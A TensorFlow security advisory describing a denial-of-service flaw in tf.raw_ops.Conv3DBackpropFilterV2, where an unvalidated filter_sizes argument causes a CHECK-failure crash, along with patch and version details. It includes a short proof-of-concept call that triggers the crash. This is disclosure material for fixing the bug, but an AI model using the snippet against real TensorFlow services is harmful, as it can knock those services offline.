PYSEC-2026-953

Impact

The implementation of tf.raw_ops.Conv3DBackpropFilterV2 does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

tf.raw_ops.Conv3DBackpropFilterV2(
  input=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16),
  filter_sizes=tf.constant(0, shape=[], dtype=tf.int32),
  out_backprop=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16),
  strides=[1, 1, 1, 1, 1],
  padding="VALID",
  data_format="NDHWC",
  dilations=[1, 1, 1, 1, 1])

The code does not validate that the filter_sizes argument is a vector.

Patches

We have patched the issue in GitHub commit 174c5096f303d5be7ed2ca2662b08371bff4ab88.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.